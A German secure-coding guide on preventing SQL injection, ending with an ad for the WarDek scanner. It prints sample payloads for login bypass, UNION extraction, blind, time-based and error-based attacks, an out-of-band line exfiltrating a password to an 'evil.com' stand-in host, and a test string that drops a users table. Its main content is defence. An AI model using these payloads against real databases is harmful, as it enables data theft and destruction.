SQL-Injection verhindern: Der vollständige Leitfaden
SQL-Injection (SQLi) gehört zu den ältesten und gefährlichsten Webangriffen — und ist auch 2025 noch in den OWASP Top 10. Bei einer SQL-Injection manipuliert ein Angreifer Datenbankabfragen, indem er schädlichen SQL-Code über Eingabefelder einschleust. Die Folgen reichen von Datenverlust bis zur vollständigen Übernahme des Systems.
Was ist SQL-Injection?
Das Grundprinzip
Unsicherer Code baut SQL-Abfragen durch String-Verkettung:
-- Unsicher: Benutzereingabe wird direkt eingebaut
SELECT * FROM users WHERE username = 'admin' AND passwd = 'eingabe'
Ein Angreifer gibt als Passwort ein: ' OR '1'='1
-- Resultierende Abfrage:
SELECT * FROM users WHERE username = 'admin' AND passwd = '' OR '1'='1'
-- → Gibt ALLE Benutzer zurück (Authentifizierung umgangen)
Die 5 SQLi-Typen
1. Classic (In-Band) SQLi
Der Angreifer sieht das Ergebnis direkt in der Antwort:
https://shop.de/produkt?id=1 UNION SELECT username, passwd FROM users--
2. Blind SQLi (Boolean-based)
Keine direkte Ausgabe — der Angreifer schließt aus dem Verhalten der Anwendung (Seite lädt / lädt nicht):
https://shop.de/produkt?id=1 AND SUBSTRING(username,1,1)='a'--
3. Time-based Blind SQLi
Der Angreifer misst Antwortzeiten:
https://shop.de/produkt?id=1; IF(1=1) WAITFOR DELAY '00:00:05'--
4. Error-based SQLi
Ausnutzung von Fehlermeldungen, die Datenbankinformationen preisgeben:
https://shop.de/produkt?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version())))
5. Out-of-Band SQLi
Datenexfiltration über DNS oder HTTP-Anfragen:
SELECT LOAD_FILE(CONCAT('\\\\', (SELECT passwd FROM users LIMIT 1), '.evil.com\\'))
Auswirkungen
| Schweregrad | Beispiel |
|---|---|
| Datenleck | Alle Kundendaten, Passwörter, Kreditkarten extrahiert |
| Authentifizierung umgangen | Admin-Zugang ohne Passwort |
| Daten manipuliert | Preise geändert, Konten manipuliert |
| Daten gelöscht | DROP TABLE löscht komplette Tabellen |
| Systemübernahme | Remote Code Execution über Datenbankfunktionen |
| DSGVO-Verstoß | Meldepflichtiger Datenschutzvorfall |
Schutzmaßnahme 1: Prepared Statements (Parameterisierte Abfragen)
Die wichtigste Schutzmaßnahme. Der SQL-Code und die Daten werden getrennt verarbeitet — eine Injection ist strukturell unmöglich.
Node.js (pg-Bibliothek)
// UNSICHER — nie verwenden
const query = `SELECT * FROM users WHERE id = ${userId}`
// SICHER — Prepared Statement
const result = await client.query(
'SELECT * FROM users WHERE id = $1',
[userId]
)
Python (psycopg2)
# UNSICHER
cursor.execute(f"SELECT * FROM users WHERE id = {user_id}")
# SICHER
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
PHP (PDO)
// UNSICHER
$stmt = $pdo->query("SELECT * FROM users WHERE id = $id");
// SICHER
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
Java (JDBC)
// UNSICHER
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("SELECT * FROM users WHERE id = " + userId);
// SICHER
PreparedStatement pstmt = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, userId);
ResultSet rs = pstmt.executeQuery();
Schutzmaßnahme 2: ORM verwenden
Object-Relational Mapper (ORM) generieren parameterisierte Abfragen automatisch:
Prisma (TypeScript)
// Automatisch sicher — Prisma parameterisiert intern
const user = await prisma.user.findUnique({
where: { id: userId },
})
Drizzle ORM
const users = await db.select()
.from(usersTable)
.where(eq(usersTable.id, userId))
Vorsicht bei Raw Queries: Auch in ORMs gibt es Funktionen für rohe SQL-Abfragen. Diese müssen ebenfalls parameterisiert werden:
// Prisma — Raw Query SICHER
const result = await prisma.$queryRaw`
SELECT * FROM users WHERE id = ${userId}
`
// Tagged Template Literals werden automatisch parameterisiert
Schutzmaßnahme 3: Input-Validierung
Zusätzliche Schutzschicht — nicht allein ausreichend, aber wertvoll:
import { z } from 'zod'
const productIdSchema = z.coerce.number().int().positive()
// Validierung vor der Datenbankabfrage
const productId = productIdSchema.parse(req.params.id)
// Ungültige Eingaben werden hier bereits abgefangen
Whitelist statt Blacklist
| Ansatz | Beispiel | Bewertung |
|---|---|---|
| Blacklist (schlecht) | Blockiere ', ", --, ; | Leicht zu umgehen |
| Whitelist (gut) | Nur Ziffern für IDs erlauben | Strukturell sicherer |
| Typ-Validierung (am besten) | Zod/Schema erzwingt korrekten Typ | Keine Interpretation nötig |
Schutzmaßnahme 4: Least Privilege
Der Datenbankbenutzer Ihrer Anwendung sollte minimale Rechte haben:
-- Eigener Benutzer für die Anwendung
CREATE USER app_user WITH PASSWD 'secure_passwd';
-- Nur die nötigen Rechte
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT, INSERT, UPDATE, DELETE ON orders TO app_user;
-- KEIN DROP, CREATE, ALTER, GRANT
Getrennte Benutzer für verschiedene Funktionen
| Benutzer | Rechte | Einsatz |
|---|---|---|
| app_read | SELECT | Leseoperationen |
| app_write | SELECT, INSERT, UPDATE | Schreiboperationen |
| app_admin | Volle Rechte (nur für Migrationen) | Deployment-Pipeline |
Schutzmaßnahme 5: Web Application Firewall (WAF)
Eine WAF erkennt und blockiert typische SQLi-Muster auf Netzwerkebene:
| WAF | Typ | Kosten | |---|---|---| | ModSecurity | Open Source (OWASP CRS) | Kostenlos | | Cloudflare WAF | Cloud-basiert | Ab 20 USD/Monat | | AWS WAF | Cloud-basiert | Nutzungsabhängig |
Wichtig: Eine WAF ist eine zusätzliche Schutzschicht, kein Ersatz für Prepared Statements.
SQLi erkennen und testen
Automatisierte Tools
| Tool | Funktion | Kosten | |---|---|---| | sqlmap | Automatischer SQLi-Test und -Exploitation | Kostenlos | | OWASP ZAP | Allgemeiner Web-Scanner mit SQLi-Detection | Kostenlos | | Burp Suite | Proxy + Scanner | Community: kostenlos | | WarDek | Automatisierter Sicherheitsscan | Kostenlos (Basic) |
Manuelle Tests
Typische Teststrings für Eingabefelder:
' OR '1'='1
1; DROP TABLE users--
1 UNION SELECT null, null, null--
' AND SLEEP(5)--
Nur auf eigenen Systemen testen! SQLi-Tests auf fremden Systemen sind strafbar (§ 202a StGB).
Checkliste: SQL-Injection-Schutz
- ☐ Alle Datenbankabfragen verwenden Prepared Statements
- ☐ ORM korrekt eingesetzt (keine unsicheren Raw Queries)
- ☐ Input-Validierung mit Zod/Schema (Whitelist)
- ☐ Datenbankbenutzer mit minimalen Rechten
- ☐ Fehlermeldungen in Produktion generisch (keine DB-Details)
- ☐ WAF als zusätzliche Schutzschicht
- ☐ Regelmäßige SQLi-Scans (monatlich)
- ☐ Code-Reviews mit Fokus auf Datenbankabfragen
Fazit
SQL-Injection ist ein gelöstes Problem — Prepared Statements verhindern sie vollständig. Dennoch taucht SQLi regelmäßig auf, weil Entwickler Abkürzungen nehmen oder Legacy-Code nicht modernisiert wird. Die Regel ist einfach: Nie Benutzereingaben direkt in SQL-Strings einbauen. Punkt.
Scannen Sie Ihre Website kostenlos mit WarDek — OWASP, NIS2, DSGVO, AI Act Compliance in einem Scan.